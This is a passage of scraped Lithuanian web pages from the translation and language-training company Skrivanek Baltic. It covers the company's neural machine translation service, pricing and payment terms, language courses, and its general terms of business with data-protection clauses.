tekstas; išsamus postredagavimas – tekstas perskaitomas ir taisomas taip, jog būtų tolygus žmogaus vertimui, atspindint ne tik originalo esmę, bet ir įsigilinant į srities terminologijos specifiką, vartojant kalbos raiškos priemones. KAIP VEIKIA MAŠININIS VERTIMAS? Neuroninio mašininio vertimo technologija, arba NMT, yra visiškai naujas sprendimas kuriant kalbos technologijas. Mašininiam neuronų vertimui naudojami dirbtinių neuronų tinklų algoritmai, kurie, kaip ir žmogaus smegenys, gali analizuoti tekstą visais kalbos lygmenimis – fonetiniu, leksiniu, morfologiniu ir sintaksiniu, pavyzdžiui, tiksliai atskirdami teksto sakinius arba naudodami atitinkamas didžiąsias ir mažąsias raides. Tokios neuroninio mašininio vertimo technologijos tampa vis populiaresnės visame pasaulyje, nes jos užtikrina didesnį vertimo efektyvumą ir geresnę kokybę nei ankstesnės mašininio vertimo technologijos. SKRIVANEK NMT PRIVALUMAI: sutaupomas laikas – vertimo projekto atlikimas galimas tą pačią dieną. Pavyzdžiui, reikia 3–5 vertėjų 50 lapų išversti per dieną; su Skrivanek NMT vertimas atliekamas per 2 valandas; siūlome atlikti nemokamą kelių puslapių mašininio vertimo be postredagavimo testą; informacijos saugumas ir konfidencialumas – „Skrivanek“ serveriai yra saugioje vietoje, prie kurių prieigą turi tik specialiai įgaliotas personalas; patikrintas keitimasis duomenimis tarp serverių; mažesnė kaina palyginus su tradiciniu vertimu; galimybė sujungti mašininį vertimą su kompiuteriniais vertimo įrankiais – CAT; išlaikomas teksto formatavimas (šriftas, lentelės, spalvos, turinys); galimybė naudoti įmonei pritaikytą NMT sprendimą, atsižvelgiant į sritį ir specializaciją; galimos postredagavimo paslaugos. MAŠININIO VERTIMO TRŪKUMAI: neuroninio mašininio vertimo sprendimai nėra tinkami naudoti rinkodaros, reklamos bei kūrybinio teksto vertimui; ne visos rinkmenos yra verčiamos; Skrivanek NMT sprendimą siūlome tik tomis kalbų kombinacijomis, kurių kokybė, mūsų nuomone, yra pakankamai aukšta. Daugiau apie Skrivanek NMT klauskite mūsų specialistų; mašininis vertimas nėra sklandus, lengvai skaitomas ir suvokiamas; gali prireikti papildomo laiko, kad rinkmenos būtų paruoštos vertimui. DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI „Skrivanek NMT“ išverčia 1 200 žodžių arba maždaug penkis puslapius per sekundę. Būtina atsižvelgti į projekto parengimui ir įgyvendinimui reikalingą laiką. Greičiausias ir patogiausias būdas – susisiekti su „Skrivanek“ specialistais, kurie mielai paaiškins, ar neuroninio mašininio vertimo technologija yra tinkamas sprendimas jūsų vertimo projektui. Įvertinkite, ar automatinis mašininis vertimas be psotredagavimo galėtų būti optimalus sprendimas, ar, atvirkščiai, rinktis mašininį vertimą su išsamiu postredagavimu ir tikrinimu. Pateikiame keletą standartinių klausimų, padėsiančių pasirinkti tinkamą paslaugą: kas yra vertimo adresatas – skaitytojas? ar vertimas skirtas publikuoti, spausdinti? ar teksto turinys turėtų būti suprantamas tik bendrais bruožais? kiek yra vertimo medžiagos, skirtos konkrečiai pramonei? Visada svarbu suprasti, ką neuroninio mašininio vertimo technologijos gali ir ko jos dar nesugeba. Jei reikia suprasti teksto turinio esmę, mašininis vertimas yra visiškai priimtinas pasirinkimas. Mašininis vertimas su išsamiu postredagavimu prilygsta žmogaus vertimui. Siūlome Skrivanek NMT šiais kalbų deriniais: lenkų–anglų, anglų–lenkų; vokiečių–anglų, anglų–vokiečių; prancūzų–anglų, anglų–prancūzų; anglų–suomių; anglų–čekų; lenkų–rusų; ir kiti. Mašininis vertimas (MT) ir kompiuterinio vertimo priemonė (CAT) yra du skirtingi vertimo sprendimai: mašininis vertimas yra sukurtas kompiuteriu; kompiuterinės vertimo priemonės palengvina vertėjams iš anksto parinkti išverstus ir patvirtintus verčiamos medžiagos segmentus. Galutinė kaina priklausys nuo atlikimo laiko, failo formato, verčiamo teksto kiekio, apimties ir papildomų paslaugų, todėl kiekvienas užsakymas vertinamas individualiai. REIKIA MAŠININIO VERTIMO? IEŠKOTE KALBOS PAMOKŲ ARBA JUMS REIKIA PATARIMO? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekite su mumis RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/ - Translation Priorities: Optional Vertimo kaina mūsų įmonėje apskaičiuojama pagal žodžių skaičių dokumente originalo kalba. Iš anksto nustatome kiekvieno konkretaus projekto kainą ir susitariame dėl abiem pusėms naudingo termino. Į populiariausių kalbų (lietuvių, rusų, vokiečių ir anglų) kombinacijų kainą jau įskaičiuotas korektūros, kurią atlieka gimtakalbis, atlikimas. Vertimo raštu ir žodžiu paslaugų kaina priklauso nuo atlikimo terminų. Skubių užsakymų atveju būtina atsižvelgti į didesnes projekto išlaidas, apie kurias mūsų projektų vadovai nedelsdami jus informuos. Vertimo raštu ir žodžiu kaina nepriklauso nuo pramonės šakos specifikos ar sudėtingumo! Džiaugsimės sužinoję apie jums reikalingą projektą – išsiuntę užklausą, nedelsdami parengsime ir atsiųsime savo kainos apskaičiavimą ir darbo atlikimo terminą! Daugiau informacijos apie užsienio kalbų kursus rasite www. valodumacibas. lv. Verslo klientams, pateikusiems vertimų užsakymus, siūlome 5% nuolaidą kalbų mokymams įmonės darbuotojams! Mūsų projektų vadovai informuos jus apie kitas nuolaidas ir galimybę sudaryti konfidencialumo arba bendradarbiavimo sutartį! KAINOS APSKAIČIAVIMAS Kainos apskaičiavimo vienetas yra žodžių skaičius originalo kalba. Elektroninio formato dokumentuose tikslų žodžių skaičių galima nustatyti naudojant „Wordcount“ (Tools / Wordcount / Words ). Vertimo kainos apskaičiavimo formulė: vertimo kaina už vieną žodį x žodžių skaičius originalo kalba = užsakymo kaina (be PVM). Pirmiau nurodytas kainos apskaičiavimas netaikomas vertimams, skirtiems notariniam patvirtinimui. MOKĖJIMO PROCEDŪROS Siūlome juridiniams asmenims sudaryti bendradarbiavimo sutartį, kurioje galime numatyti šias mokėjimo sąlygas: mūsų įmonėje pirmą kartą pateikdamas užsakymą klientas jį gauna tik apmokėjęs sąskaitą faktūrą; mokėjimas po kiekvieno projekto su sąskaita faktūra (paprastai rekomenduojama dideliems projektams); vėlesnis mokėjimas su sąskaita faktūra už laikotarpį (paprastai rekomenduojama klientams, turintiems daug mažų užsakymų); kartą per mėnesį sumokėti vėliau. Įmonių klientams ir privatiems asmenims siūlome apmokėti sąskaitas mokėjimo kortelėmis, grynaisiais pinigais mūsų biure, „PayPal“ mokėjimu arba banko pavedimu. REIKIA VERTIMO? Siųsti užklausą ARBA SKAMBINKITE (+371) 67 240 364 Per trumpą laiką parengsime jums pasiūlymą ir suteiksime konsultaciją. Nemokamo pasiūlymo gavimas neįpareigoja jūsų bendradarbiauti su mumis. KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- > Greitai ir efektyviai mokykitės kalbų „Skrivanek“ mokymo centre. Aukštos kvalifikacijos vietiniai ir užsienio mokytojai. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-03 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/ - Translation Priorities: Optional ĮMONĖMS Teikiame kalbų mokymo paslaugas Lietuvos įmonėms, tarptautinėms korporacijoms, valstybės ir savivaldybių institucijoms. Organizuojame kursus skirtingo žinių lygio darbuotojams ir siūlome intensyvius kalbų mokymus. Įgyta patirtis ir platus dėstytojų pasirinkimas suteikia mums galimybę įgyvendinti bet kokio dydžio ir sudėtingumo užsienio kalbų mokymo projektus. Susisiekite su mumis PRIVATIEMS ASMENIMS Užsienio kalbų kursai dideliems tikslams! Greitai ir efektyviai mokykitės užsienio kalbų dalyvaudami grupiniuose kalbų kursuose, lankydami privačias pamokas arba mokydamiesi nuotoliniu būdu. Praktiniai kalbos įgūdžiai ir puikiai praleistas laikas įdomiose pamokose! Susisiekite su mumis VAIKAMS IR JAUNIMUI Specialiai sukurtos užsienio kalbų mokymo programos leidžia vaikams ir jaunuoliams greitai ir entuziastingai mokytis naujų kalbų, taip pat įtvirtinti užsienio kalbų žinias. Mokytis su mumis smagu ir naudinga! Susisiekite su mumis VAIKŲ STOVYKLA Mokymo centro organizuojamos stovyklos vaikams ir jaunimui yra puikus būdas praleisti laiką mokykloje visais metų laikais, susirasti naujų draugų ir įgyti praktinių užsienio kalbų žinių. Stovyklos programos yra tinkamos pagal amžių ir licencijuotos. Susisiekite su mumis DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Taip, „Skrivanek“ siūlo ne tik grupines ir individualias pamokas daugiau nei 25 kalbomis, bet ir platų spektrą pamokų vaikams ir jaunimui. Individualias pamokas dėl jų veiksmingumo dažnai renkasi verslo klientai. Daugiau apie individualias pamokas: valodumacibas. lv. „Focus“ – tai internetinė užsienio kalbos mokėjimo testo priemonė, skirta veiksmingai ir išsamiai patikrinti kandidato užsienio kalbos įgūdžiams. Testo raštu dalį sudaro gramatikos, žodyno ir teksto suvokimo patikrinimas. FOCUS priemone taip pat tikrinami kalbėjimo ir rašymo įgūdžiai, todėl galutinis užsienio kalbos įgūdžių įvertinimas yra išsamus ir tikslus. Šis įrankis yra neįkainojamas pagalbininkas atrenkant darbuotojus! „Skrivanek“ mokymo centras siūlo nemokamai pasitikrinti anglų ir vokiečių kalbų žinias. Galimi kalbų testai: valodumacibas. lv. EFFECTO yra patentuotas kalbų mokymo metodas, sukurtas „Skrivanek“ kalbų mokykloms visame pasaulyje. Šis metodas ypatingas tuo, kad gerokai padidina kalbos mokymosi efektyvumą. Daugiau informacijos apie šį metodą galima rasti adresu: valodumacibas. lv. RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- > „Skrivanek“ yra daugiau nei 25 metų patirtį turinti kalbų paslaugų teikėja, teikianti profesionalias ir kokybiškas kalbų paslaugas įmonėms ir privatiems asmenims. - Published: 2022-07-13 - Modified: 2022-07-15 - URL: https://skrivanek.lv/komercnoteikumi/ - Translation Priorities: Optional 1. PAGRINDINĖS TAISYKLĖS 1. 1. Šiomis Bendrosiomis verslo sąlygomis nustatomi SIA „Skrivanek Baltic“, registracijos numeris: 40003626172, registruotos buveinės adresas: Lāčplēša g. 87C, Ryga, LV-1011 (toliau – Vykdytojas), ir jo klientų (toliau – Klientas), bendradarbiavimo principai, o abu kartu – Šalys. 1. 2. Komercinių sąlygų objektas yra paslaugų (toliau – Užsakymas), teikimas, kuris yra SIA „Skrivanek Baltic“ verslo veikla, visų pirma vertimo raštu ir žodžiu paslaugos pagal šias Komercines sąlygas ir Užsakyme nustatytas sąlygas. 1. 3. Užsakovo ir Vykdytojo sutartiniai santykiai užmezgami rašytiniu Užsakymu, įskaitant susirašinėjimą elektroniniu paštu, kuriame Šalys susitaria dėl Užsakymo vykdymo laiko, tvarkos ir apmokėjimo sąlygų. 2. RAŠYTINIAI VERTIMAI 2. 1. Vykdytojas suderina Užsakymą pagal 1 punktą, įvykdo Užsakymą sutarta kalba ir sutartu laiku bei pristato jį Užsakovui sutartu būdu. 2. 2. Užsakovas įsipareigoja priimti tinkamai įvykdytą Užsakymą ir sumokėti Vykdytojui sutartą kainą. 2. 3. Klientas privalo priimti Užsakymą nurodytu laiku ir būdu. 2. 4. Užsakovas arba jo įgaliotas pareigūnas privalo patvirtinti Užsakymo priėmimą telefonu arba raštu (įskaitant elektroninį paštą), nurodydamas, kad jis buvo priimtas laiku. Jei Užsakovas nesilaiko šios pareigos ir neprimena Vykdytojui apie Užsakymą telefonu arba raštu (įskaitant elektroninį paštą) per 24 valandas nuo Užsakymo pristatymo termino pabaigos, Vykdytojas gali laikyti, kad Užsakovas gavo Užsakymą laiku ir neprieštarauja dėl jo įvykdymo laiko ir būdo. 2. 5. Užsakymo įvykdymo terminas nepraleidžiamas, jei Vykdytojas po Užsakovo priminimo dar kartą išsiunčia Užsakovui Užsakymą ir įrodo, kad jau išsiuntė jį Užsakyme nurodytu laiku ir būdu. 2. 6. Jei Vykdytojas vėluoja pateikti Užsakymą be pateisinamos priežasties, Užsakovas turi teisę reikalauti sumokėti 0,1 % Užsakymo sumos dydžio baudą už kiekvieną pavėluotą dieną, bet ne daugiau kaip 10 % Užsakymo kainos. 2. 7. Jei dėl kokių nors pateisinamų priežasčių Užsakymas negali būti pristatytas Užsakovui pirmiau nurodytu būdu, Vykdytojas pasirenka kitą pristatymo būdą, kurio išlaidas apmoka Užsakovas, ir apie tai iš anksto praneša Užsakovui. 2. 8. Jei Užsakovas per nustatytą terminą nepateikia pretenzijos ir nenurodo svarbios priežasties, tačiau atsisako priimti tinkamai įvykdytą Užsakymą, Užsakymas laikomas įvykdytu, o Vykdytojas turi teisę išrašyti sąskaitą faktūrą, kurią Užsakovas privalo apmokėti. 3. VERTIMAS ŽODŽIU 3. 1. Vykdytojas suderina Užsakymą pagal 1 punktą, ir vykdo Užsakymą (vertimą) nurodyta kalba, laiku ir vietoje. 3. 2. Užsakovas įsipareigoja priimti tinkamai įvykdytą užsakymą ir sumokėti Vykdytojui sutartą kainą už vertimą. 3. 3. Vykdytojas užtikrina vertimą žodžiu, pasitelkdamas vertėją (-us). 3. 4. Užsakovas privalo priimti vertimą per užsakymo formoje nurodytą terminą ir tokia forma, kokia nurodyta užsakymo formoje. 3. 5. Jei vertimas buvo atliktas pagal reikalavimus ir per nustatytą terminą ir Užsakovas neturi pretenzijų, Užsakovas arba jo įgaliotas pareigūnas iš karto po vertimo raštu patvirtina vertimo atlikimo pažymos formoje, kad vertimas buvo atliktas kokybiškai ir per nustatytą laiką. 3. 6. Jei Užsakovas be pateisinamos priežasties atsisako priimti tinkamai atliktą vertimą ir per nustatytą terminą nepateikia pretenzijos, užsakymas laikomas įvykdytu ir Vykdytojas turi teisę išrašyti sąskaitą faktūrą, kurią Užsakovas privalo apmokėti. 3. 7. Vykdytojas įsipareigoja laikyti paslaptyje visą informaciją, susijusią su aiškinimo objektu, ir saugoti visą iš Užsakovo gautą patvirtinamąją medžiagą, ypač konfidencialią informaciją. 3. 8 Užsakovas neturi teisės reikalauti, kad vertėjas (-ai) atliktų bet kokią kitą, užsakymo formoje nenurodytą veiklą, pvz. , vertimą, susitikimo protokolo surašymą ir pan. 3. 9. Vykdytojas turi teisę reikalauti apmokėti už visą sutartą vertėjo (-ų) darbo laiką, net jei Užsakovas išnaudoja ne visą šį laiką. 3. 10. Užsakovas atsako už tai, kad būtų sudarytos tinkamos darbo sąlygos nurodytai vertimo rūšiai, įskaitant techninę įrangą, jei jos neužsakė Vykdytojas. 3. 11. Užsakovas yra atsakingas už tai, kad vertėjas (-ai) atvyktų iš sutartos vietos į vietą, kurioje bus atliekamas vertimas žodžiu. 3. 12. Jei vertėjas (-ai) naudojasi privačia transporto priemone, Užsakovas, abipusiu susitarimu su Vykdytoju, padengia visas vertėjo (-ų) kelionės išlaidas. 3. 13. Klientas turi pasirūpinti vertėjo apgyvendinimu vienviečiame kambaryje su patogumais. 3. 14. Klientas privalo suteikti vertėjui (-ams) pietų ir poilsio pertraukas, ne trumpesnes kaip 30 minučių kas keturias valandas. 3. 15. Vertimo žodžiu diena trunka aštuonias (8) valandas, įskaitant pertraukas. 3. 16. Klientas turi teisę į kompensaciją už vertėjo praleistą laiką. 4. ŠALIŲ TEISĖS IR PAREIGOS 4. 1. Jei Užsakovas turi viduje patvirtintą terminų sąrašą, Užsakovui rekomenduojama jį pateikti Vykdytojui Užsakymo vykdymo laikotarpiu arba pateikti Vykdytojui kitą pagalbinę medžiagą, kuri gali padėti parinkti tinkamus terminus, arba paskirti atsakingą asmenį, kuris suteiktų reikiamą konsultaciją. 4. 2. Užsakovas siunčia Vykdytojui pagalbinę medžiagą (pvz. , ankstesnio susitikimo protokolą, ataskaitas, pristatymus ar kitą medžiagą) likus ne mažiau kaip trims dienoms iki aiškinimo. Jei šios sąlygos nesilaikoma, į pretenzijas dėl netikslaus terminų vartojimo aiškinimo metu nebus atsižvelgiama. 4. 3. Vykdytojas neatsako už jokias pasekmes, susijusias su Užsakovo autorių teisių pažeidimu. 4. 4. Vykdytojas įsipareigoja laikyti paslaptyje visą informaciją, susijusią su Užsakymo objektu, ir saugoti visą iš Užsakovo gautą medžiagą, ypač konfidencialią informaciją. 4. 5. Užsakovas įsipareigoja be Vykdytojo sutikimo nebendrauti su Vykdytojo vertėju raštu ar žodžiu. Jei Vykdytojas sutinka, kad Užsakovas bendrautų su vertėju raštu ar žodžiu, Užsakovas įsipareigoja neatskleisti vertėjui raštu ar žodžiu jokios informacijos, susijusios su konkrečiu Užsakovo ir Vykdytojo sutarties turiniu. Šio punkto pažeidimo atveju Užsakovas moka Vykdytojui 500 EUR baudą. 5. PRETENZIJOS 5. 1. Užsakymas yra su trūkumais, jei jis nebuvo įvykdytas pagal Užsakymo sąlygas. 5. 2. Vertimas taip pat yra ydingas, jei jis atliktas nesilaikant reikiamų gramatinių, stilistinių ar semantinių standartų. 5. 3. Jei nėra 5. 1 ir 5. 2 punktuose nurodytų trūkumų, Užsakymas laikomas tinkamai įvykdytu pagal Užsakovo reikalavimus. 5. 4. Pretenzijos turi būti pateikiamos raštu (taip pat ir el. paštu). Pretenzijos turi būti pagrįstos, jose turi būti nurodytas defektų pobūdis ir, jei įmanoma, defektų skaičius. 5. 5. Jei Vykdytojas pripažįsta Užsakovo pretenziją pagrįsta, Vykdytojas iš naujo parengia Užsakymą. Tokiu atveju Klientas turi teisę į Užsakymo kainos nuolaidą. 5. 6. Užsakovui suteikiama atitinkama nuolaida Užsakymo kainai, jei Vykdytojas pripažįsta Užsakovo pretenzijos, grindžiamos kitais nei 5. 2 punkte nurodytais defektais, pagrįstumą arba jei Užsakovas atsisako siūlomo ištaisymo. 5. 7. Nuolaidos dydis nustatomas remiantis specialisto išvada arba abiejų šalių susitarimu. 5. 8. Kilus Šalių ginčui dėl Kliento per nustatytą terminą pateiktos pretenzijos, susijusios su 5. 2 punkte nurodytais defektais, abi Šalys iš pradžių įsipareigoja ginčą spręsti neteismine tvarka, pasirinkdamos kompetentingo nepriklausomo eksperto nuomonę. Dėl specialisto abi šalys susitaria abipusiu susitarimu. 5. 9. Nuolaidos dydis priklauso nuo eksperto nuomonės arba abiejų šalių susitarimo. 5. 10. Vykdytojas atsako už bet kokią žalą, atsiradusią dėl atliktų darbų defektų. Šalys susitaria, kad reikalavimo atlyginti nuostolius suma yra ribota ir nuostoliai neviršija Užsakymo kainos. 5. 11. Komercinių vertimų atveju, t. y. , kai Užsakovas yra prekybininkas, Užsakovas privalo pareikšti pretenzijas Vykdytojui dėl defektų nepagrįstai nedelsdamas po to, kai juos pastebėjo, bet ne vėliau kaip per 21 dieną nuo Užsakymo gavimo. 5. 12. Jei Klientas yra fizinis asmuo, jis turi teisę pareikšti ieškinį pagal Vartotojų teisių apsaugos įstatymą. 5. 13. Pavėluotai pateikta pretenzija nebus nagrinėjama ir bus laikoma negaliojančia. 6. MOKĖJIMO TVARKA 6. 1. Užsakymo kaina apskaičiuojama remiantis galiojančiu Vykdytojo kainoraščiu ir jame nurodytu kainos apskaičiavimo būdu. 6. 2. Jei orientacinė Užsakymo kaina pagrįsta tik apytiksliu vienetų skaičiumi, kaina apskaičiuojama pridedant tikruosius vienetus (vertimo kalba) po vertimo užbaigimo. 6. 3. Vykdytojas turi teisę išrašyti sąskaitą faktūrą už suteiktas paslaugas iš karto po užsakymo įvykdymo, remdamasis užsakyme nustatytomis sąlygomis. 6. 4. Užsakymas apmokamas pagal Vykdytojo išrašytą sąskaitą faktūrą, kurią Užsakovas turi apmokėti iki mokėjimo termino pabaigos. 6. 5. Jei Klientas praleidžia sąskaitos faktūros apmokėjimo terminą, skaičiuojami 0,01 % delspinigiai nuo mokėtinos sumos už kiekvieną uždelstą dieną. 6. 6. Nesumokėjus bet kurios pagal Sutartį mokėtinos įmokos, Kliento įmoka pirmiausia įskaitoma kaip delspinigiai, o likusi dalis panaudojama atitinkamos skolos sumai padengti. 6. 7. Vykdytojas abipusiu susitarimu gali išrašyti Užsakovui išankstinę sąskaitą faktūrą 50 % Užsakymo sumos. Išankstinio mokėjimo sąskaita turi būti apmokėta iki nustatyto termino. 7. FIZINIŲ ASMENŲ DUOMENŲ APSAUGA 7. 1. Šalys įsipareigoja laikytis asmens duomenų apsaugą reglamentuojančių įstatymų ir kitų teisės aktų reikalavimų, įskaitant Europos Parlamento ir Tarybos reglamentą (ES) 2016/679 dėl fizinių asmenų apsaugos tvarkant asmens duomenis ir dėl laisvo tokių duomenų judėjimo ir kuriuo panaikinama Direktyva 95/46/EB (Bendrasis duomenų apsaugos reglamentas), t. y. užtikrinti, kad asmens duomenys: 7. 1. 1. bus tvarkomi teisėtai, sąžiningai ir skaidriai duomenų subjektams; 7. 1. 2. bus tvarkomi siekiant įvykdyti Užsakymą ir nebus tvarkomi su Užsakymo vykdymu nesuderinamu būdu; 7. 1. 3. bus tvarkomi taip, kad būtų užtikrintas duomenų saugumas pagal teisės aktus, įskaitant apsaugą nuo neleistino ar neteisėto tvarkymo ir atsitiktinio praradimo, sunaikinimo ar sugadinimo taikant tinkamas technines ar organizacines priemones. 7. 2. Kiekviena Šalis yra atsakinga už asmenų (duomenų subjektų) informavimą apie jų asmens duomenų tvarkymą, kurį ji atlieka kaip duomenų valdytoja. 7. 3. Šalys įsipareigoja neatskleisti gautų asmens duomenų trečiosioms šalims be išankstinio raštiško šalies, iš kurios gavo asmens duomenis, sutikimo. Jei Šalis privalo atskleisti pagal įstatymus ir kitus teisės aktus gautus asmens duomenis, ji informuoja Šalį, iš kurios gavo asmens duomenis, apie asmens duomenų perdavimą, išskyrus atvejus, kai tai draudžia įstatymai ar kiti teisės aktai. 7. 4. Vykdytojas privalo saugoti pagal šią Sutartį gautų asmens duomenų konfidencialumą neribotą laiką tiek Sutarties galiojimo metu, tiek jai pasibaigus. 7. 5. Vykdytojas užtikrina, kad jo darbuotojai ir (arba) atstovai, ir (arba) subrangovai neribotą laiką laikytųsi šiame punkte nurodyto konfidencialumo reikalavimo, išskyrus atvejus, kai vykdytojas privalo atskleisti tokią informaciją valstybės ir (arba) vietos valdžios institucijoms pagal Europos Sąjungos arba Latvijos teisės aktus. 7. 6. Šalys užtikrina, kad pagal šį Susitarimą gauti asmens duomenys būtų prieinami tik tiems jų darbuotojams, atstovams ar subrangovams, kurie dalyvauja vykdant Susitarimą, ir tik tiek, kiek tai būtina jų pareigoms pagal Susitarimą vykdyti. 7. 7. Vykdytojas nedelsdamas informuoja ne tik priežiūros instituciją, bet ir Užsakovą apie atvejus, kai įvyko arba įtariama, kad įvyko asmens duomenų tvarkymo pažeidimas, susijęs su pagal sutartį gautais asmens duomenimis. Pranešimas pateikiamas ne vėliau kaip per 72 valandas nuo pažeidimo nustatymo. 7. 8. Šalys patvirtina, kad asmens duomenys tvarkomi tik Europos Sąjungoje (ES) ir Europos ekonominėje erdvėje (EEE). 7. 9. Šalys yra atsakingos už tinkamų gautų asmens duomenų apsaugos priemonių (įskaitant technines ir organizacines priemones, asmens duomenų tvarkymo sistemų apsaugą) užtikrinimą ir įgyvendinimą taip, kad duomenų tvarkymas atitiktų Europos Sąjungos ir Latvijos Respublikos įstatymų ir kitų teisės aktų reikalavimus ir užkirstų kelią neteisėtai prieigai prie asmens duomenų. 8. GINČŲ SPRENDIMAS 8. 1. Ginčus, kylančius vykdant Sutartį arba susijusius su jos vykdymu, Šalys sprendžia tarpusavio derybomis per 60 (šešiasdešimt) dienų. Susitarimas dėl ginčo sprendimo sudaromas raštu ir abiejų Šalių pasirašomas. Minėtas susitarimas pridedamas prie šio Susitarimo. Jei nepavyksta susitarti, ginčai sprendžiami teisme Latvijos Respublikos įstatymų ir kitų teisės aktų nustatyta tvarka. Įsigalioja nuo 2021-08-18. --- > Šis sertifikatas įrodo, kad esame įsipareigoję rūpintis aplinka, įskaitant aplinkai nekenksmingų technologijų ir medžiagų naudojimą, perdirbimą ir kt. - Published: 2022-07-13 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 14001: 2015 – APLINKOSAUGOS VADYBOS SISTEMOS SERTIFIKATAS --- > Rusų kalbos mokymai privatiems asmenims ir įmonėms. Gyvai arba internetu. Efektyvus mokymosi metodas. Profesionalūs mokytojai. Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2022-07-13 - URL: https://skrivanek.lv/lt/sprendimai/kalbos-mokymai/ismokite-rusu-kalbos/ - Translation Priorities: Optional „Skrivanek Baltic Training Centre“ yra tarptautinis mokymo centras, turintis daugiau nei dešimties metų patirtį teikiant kalbų mokymo paslaugas, todėl mielai randame lanksčius ir individualius sprendimus visiems savo klientams, kad ir kokie būtų jų kalbų mokymo poreikiai. „Skrivanek“ komanda turi patirties siūlant lanksčius sprendimus įvairaus amžiaus besimokantiems rusų kalbos iš viso pasaulio. Siūlome įvairius rusų kalbos mokymosi būdus: individualias pamokas, mokymąsi grupėse, mokymąsi įmonėse ir mokymąsi per „Skype“. Rusų kalbos kursai yra vienas svarbiausių mūsų pasiūlymų, nes rusų kalbos mokytis nori įvairūs žmonės. Siūlome rusų kalbos kursus visiems – studentams, kuriems rusų kalbos reikia studijoms, verslininkams, kuriems rusų kalbos reikia rašytiniam ir šnekamajam verslo bendravimui, keliautojams, kurie ketina lankyti rusų kalbos kursus kelionės metu, kad geriau pažintų kalbą. „Skrivanek Baltic“ mokymo centras – tai geriausia vieta besimokantiems rusų kalbos rasti lanksčius sprendimus savo mokymosi poreikiams – darbui ir studijoms, bendravimui ir kelionėms. „Skrivanek Baltic“ mokymo centro komanda padės jums rasti geriausią sprendimą ir užtikrins, kad gausite tai, ko norite, kai kreipsitės dėl rusų kalbos kursų. INDIVIDUALŪS UŽSIĖMIMAI Individualios klasės yra ideali galimybė tiems, kurie negali lankyti viešų kursų pagal nustatytą tvarkaraštį. Nustatę kliento poreikius, sudarome specialų tvarkaraštį, atitinkantį kliento poreikius ir galimybes. Pamokos gali būti organizuojamos mūsų patalpose arba bet kurioje kitoje jums patogioje vietoje ir laiku. Individuali klasė yra geriausias sprendimas tiems, kurie turi savų poreikių mokytis rusų kalbos – jie gali mokytis kirilicos abėcėlės, suprasti tekstus rusų kalba arba bendrauti socialinėse ar verslo situacijose. Tokiu atveju besimokantiesiems gali prireikti kvalifikuoto mokytojo, kuris padėtų jiems spręsti juos dominančius kalbos klausimus. Be to, individualios pamokos yra patogios tiems, kurie gyvena užimtą gyvenimą, nes taip visada galite susitarti dėl kito užsiėmimo kiekvieną kartą, kai susitiksite. Šis sprendimas bus naudingas besimokantiems arba keliautojams, kurie nori išklausyti greitąjį rusų kalbos kursą. GRUPĖS KLASĖS Įmonėms, kurios nori, kad jų darbuotojai mokytųsi rusų kalbos, taip pat siūlome grupinį mokymąsi universiteto teritorijoje ir už jos ribų. Jūsų darbuotojai laukiami mūsų patalpose, kuriose siūlome rytinius, dieninius ir vakarinius užsiėmimus. Jei pageidaujate savo biuro, mūsų mokytojai gali organizuoti rusų kalbos kursus jūsų pageidaujamu laiku ir pageidaujamoje vietoje. Asmenys taip pat gali prisijungti prie mūsų užsiėmimų mokyklos patalpose. Mokymosi grupėse privalumas yra tas, kad mokymasis yra interaktyvus, mokiniai praktikuojasi šnekamąją rusų kalbą naudodami bendrą žodyną su grupės nariais, imituodami realaus gyvenimo situacijas vaidmenų žaidimuose ir dialoguose, mokosi prisitaikyti prie skirtingo bendravimo greičio, akcentų ir mokosi vieni iš kitų klaidų. RUSŲ KALBOS KURSAI INTERNETU Rusų kalbos kursai internetu – dar vienas lankstus sprendimas, kurį „Skrivanek Baltic Training Centre“ siūlo savo klientams. Remdamiesi savo ilgamete patirtimi esame 